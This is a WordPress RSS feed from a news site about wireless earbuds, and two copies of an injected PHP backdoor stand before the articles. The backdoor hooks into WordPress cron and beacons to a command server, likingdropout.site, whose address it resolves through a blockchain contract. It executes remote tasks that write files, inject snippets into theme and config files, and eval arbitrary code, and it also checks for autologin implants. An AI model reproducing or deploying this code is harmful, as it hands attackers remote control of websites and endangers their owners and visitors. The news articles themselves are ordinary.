// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); buds – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 14 Oct 2018 04:15:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png buds – Brief News https://briefnews.eu 32 32 Pixel Buds live translations work with any Google Assistant headphones https://briefnews.eu/pixel-buds-live-translations-work-with-any-google-assistant-headphones/ https://briefnews.eu/pixel-buds-live-translations-work-with-any-google-assistant-headphones/#respond Sun, 14 Oct 2018 04:15:51 +0000 http://briefnews.eu/pixel-buds-live-translations-work-with-any-google-assistant-headphones/

To date, using Google’s real-time translations has officially required a set of Pixel Buds. But what if you’d rather not use the official audio gear ? You might not have to. Droid Life has noticed that Google quietly changed a support page to state that real-time translation is available for “all Assistant-optimized headphones and Android phones,” not just Pixel Buds and Pixel phones as the page said as recently as October 11th.

Users have already verified that this works on a basic level — you can use the Pixel 3’s USB-C headphones to translate on a non-Pixel phone. The question is whether or not translation works as seamlessly with third-party audio. LG’s Tone Platinum SE has a dedicated Google Assistant button with translation support, but that wasn’t a promise of universal access. Now, Google is making it clear that it wants a whole ecosystem of headphones that can translate on the spot.

Via: Droid Life

Source: Google Pixel Buds Help

]]> https://briefnews.eu/pixel-buds-live-translations-work-with-any-google-assistant-headphones/feed/ 0 Under Armour’s latest wireless buds stay in your ears during workouts https://briefnews.eu/under-armours-latest-wireless-buds-stay-in-your-ears-during-workouts/ https://briefnews.eu/under-armours-latest-wireless-buds-stay-in-your-ears-during-workouts/#respond Sat, 01 Sep 2018 13:29:19 +0000 http://briefnews.eu/under-armours-latest-wireless-buds-stay-in-your-ears-during-workouts/

Wireless earbuds are wonderful for the gym… when they stay put. And Under Armour and JBL are keenly aware of that — they’ve introduced two sets of Bluetooth earbuds, the over-ear Sport Wireless Pivot (above) and in-ear Sport Wireless React (below), that are designed for stability during workouts. They’re lightweight and IPX7 water-resistant, but the chief allures are tip and hook designs that will keep the buds in place. You won’t be subjected to the gym’s repetitive soundtrack just because a bud fell out mid-burpee.

When you do want to hear the outside world, you can. You can push a button to temporarily lower the music and amplify fellow gym-goers, while an ambient sound feature will keep the music going while boosting external sound to keep you aware of your surroundings during outdoor runs. A solid nine-hour battery life should ensure that you can still listen to music after the workout.

Both the React and Pivot will be available sometime during the hoildays for $ 140 (€149).

UA Sport Wireless React

Source: Under Armour

]]> https://briefnews.eu/under-armours-latest-wireless-buds-stay-in-your-ears-during-workouts/feed/ 0 The dialling buds of May https://briefnews.eu/the-dialling-buds-of-may/ https://briefnews.eu/the-dialling-buds-of-may/#respond Mon, 16 Jul 2018 06:54:31 +0000 http://briefnews.eu/the-dialling-buds-of-may/

Then he had a brainwave.

What could be better than a compact red telephone booth, one of hundreds that are being sold off by BT as mobile phones have made them increasingly redundant?

“I chose a phone box because it’s quirky, unique and it’s in a great location,” he says.

“The road is pedestrianised and it’s close to the Theatre Royal. I am in the heart of the city and the community is really lovely.”

And his unusual workplace means that he doesn’t have to rely solely on the quality of his hydrangeas, lilies and cacti to attract customers.

The boxes – first designed in 1924 by Sir Giles Gilbert Scott, architect of Liverpool Cathedral and Battersea Power Station and inspired, ironically, by a Sir John Soane mausoleum – were voted one of Britain’s top 10 classic designs in 2006.

“People love it and want to have their pictures taken with it,” says Mercer, 35, who trained at the prestigious Ballet Rambert in London before being forced to stop dancing due to injury.

“The boxes are iconic and people love that they are being used again rather than being left abandoned and covered in graffiti. They are listed buildings and while space is limited you just have to be creative.

“Since I opened I’ve had a lot of business because of major events in the city. I open from 8am to 6pm. The shop still opens despite any rain – not a problem at the moment. I am only concerned if it’s too windy.”

He is not alone in his decision to operate his business out of a phone box.

It is a growing trend among entrepreneurs.

“It’s all about coming up with genius ideas with limited space,” says Mercer.

One drawback, however, is that because of the lack of security, he is unable to leave his stock at work.

“I have a van and take the plants home when I close up.

The private enterprise charged with selling many of the redundant phone boxes nationwide is the Brighton-based Red Kiosk Company.

“They’re part of this country’s heritage,” says cofounder Eddie Ottewell.

“It’s important we find another use for them instead of them just disappearing.”

And all the signs are that there is widespread demand for the boxes, which cost as little as £3,750 apiece.

Such is the success of Mercer’s business the neighbouring box has been snapped up to launch a takeaway coffee business called the Dialling In Kiosk cafe.

Meanwhile, as his trade continues to grow, Mercer is aiming to start doing deliveries.

He says: “I would say to anyone considering doing something similar ‘Just go for it’.”

Let’s block ads! (Why?)

]]> https://briefnews.eu/the-dialling-buds-of-may/feed/ 0 Google Pixel Buds let you customize which apps send spoken notifications https://briefnews.eu/google-pixel-buds-let-you-customize-which-apps-send-spoken-notifications/ https://briefnews.eu/google-pixel-buds-let-you-customize-which-apps-send-spoken-notifications/#respond Wed, 09 May 2018 23:16:10 +0000 http://briefnews.eu/google-pixel-buds-let-you-customize-which-apps-send-spoken-notifications/

A beta preview back in March hinted at a few features coming to Google’s Pixel Buds, like expanded double-tap functionality and in-ear detection. But there’s another addition coming for the wireless headphones: New settings to switch spoken notifications on or off for each app.

Previously, Android users only had a basic toggle to activate or deactivate spoken notifications sent to Assistant headphones for all apps at once. Now they can go app by app, switching on the vocalized alerts to their comfort. Messaging services are the only ones that deliver notifications by default, so you’ll have to click the others ‘on’ manually. Finally, this doesn’t seem like an upgrade to the Pixel Buds themselves but through the Google app, theorized 9to5Google, since they appeared after downloading Android 8.2.

Source: 9to5Google

]]> https://briefnews.eu/google-pixel-buds-let-you-customize-which-apps-send-spoken-notifications/feed/ 0 Best Smart Earbuds for Travel: AirPods, Pixel Buds, Erato Verse https://briefnews.eu/best-smart-earbuds-for-travel-airpods-pixel-buds-erato-verse/ https://briefnews.eu/best-smart-earbuds-for-travel-airpods-pixel-buds-erato-verse/#respond Sun, 25 Mar 2018 01:13:37 +0000 http://briefnews.eu/best-smart-earbuds-for-travel-airpods-pixel-buds-erato-verse/ Super portability and easy access to AI assistants make these wireless headphones must-haves on your next trip.


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]]> https://briefnews.eu/best-smart-earbuds-for-travel-airpods-pixel-buds-erato-verse/feed/ 0 Google is working on new gestures for the Pixel Buds https://briefnews.eu/google-is-working-on-new-gestures-for-the-pixel-buds/ https://briefnews.eu/google-is-working-on-new-gestures-for-the-pixel-buds/#respond Sat, 10 Mar 2018 15:55:15 +0000 http://briefnews.eu/google-is-working-on-new-gestures-for-the-pixel-buds/

Google’s Pixel Buds felt pretty unpolished upon release, but it doesn’t look like the tech titan has completely forgotten about them. 9to5Google has discovered a couple of new features for the Pixel Buds hidden in the latest beta version of the Google app. The publication has decompiled the beta app’s APK and found lines of codes that hint at new double and triple tap features for the earbuds. When you double tap the right earbud right now, it will list all Assistant features you can use or pause Assistant while it’s speaking. But in the future, you can also use the gesture to skip to the next track while you’re listening to music.

Google also seems to be working on two new ways to manually switch the earbuds off: one is by triple tapping on the right earbud and the other is by taking the right earbud off. The latter is an evolution of a smart detection feature that’s been present in the beta app’s APKs for quite a while. Mountain View envisioned the gesture as a way to pause music, but the company must have decided that double tapping is a better option for that.

Right now, the only way to switch off the earbuds is to put them back in their charging case. Two new manual methods to do so, if Google indeed decides to roll these out as actual features, would make saving the devices’ battery life much easier.

Source: 9to5Google

]]> https://briefnews.eu/google-is-working-on-new-gestures-for-the-pixel-buds/feed/ 0 Google Assistant wireless headphones: Google Pixel Buds vs. Bose QuietComfort 35 II https://briefnews.eu/google-assistant-wireless-headphones-google-pixel-buds-vs-bose-quietcomfort-35-ii/ https://briefnews.eu/google-assistant-wireless-headphones-google-pixel-buds-vs-bose-quietcomfort-35-ii/#respond Mon, 04 Dec 2017 05:49:17 +0000 http://briefnews.eu/google-assistant-wireless-headphones-google-pixel-buds-vs-bose-quietcomfort-35-ii/

Google Assistant can be found in a growing range of devices, but only two wireless headphones — the Bose QuietComfort 35 II and Google Pixel Buds — are made especially for hands-free interaction with Google’s AI assistant to do things like create reminders, get calendar updates, and perform a multitude of other tasks.

Each pair of headphones are beset with advantages and drawbacks.

The Bose QuietComfort 35 II were released in September and retail for $ 329. The Google Pixel Buds sell for $ 159 and debuted last month at the Made by Google event alongside Home Mini and Home Max smart speakers, among other devices.

Google Assistant interaction

The key difference compared to other wireless headphones with an Android device is that Pixel Buds and Bose QuietComfort 35 II (QC 35 II) can receive a variety of notifications from Google Assistant.

Notifications range from a reminder that “An event starts in 30 minutes” to quick ping alerts for app activity on your phone. The headphones can also send and reply to text messages or make calls with voice commands. Google Assistant also chimes in to deliver things like Facebook Messenger updates and tells you about Twitter activity from accounts you follow. Sounds from the assistant can change based on how often you check your notifications. For example, ignore an app for a while and you may just get a ping noise.

Google Assistant with these headphones can also deliver spoken updates when your flight is delayed, a calendar event is rescheduled, or when traffic or detours impact your trip while driving.

These notifications can be helpful, but if you have an app that sends a lot of push notifications, those sounds — even the single ping sound — can get in the way of music or a podcast.

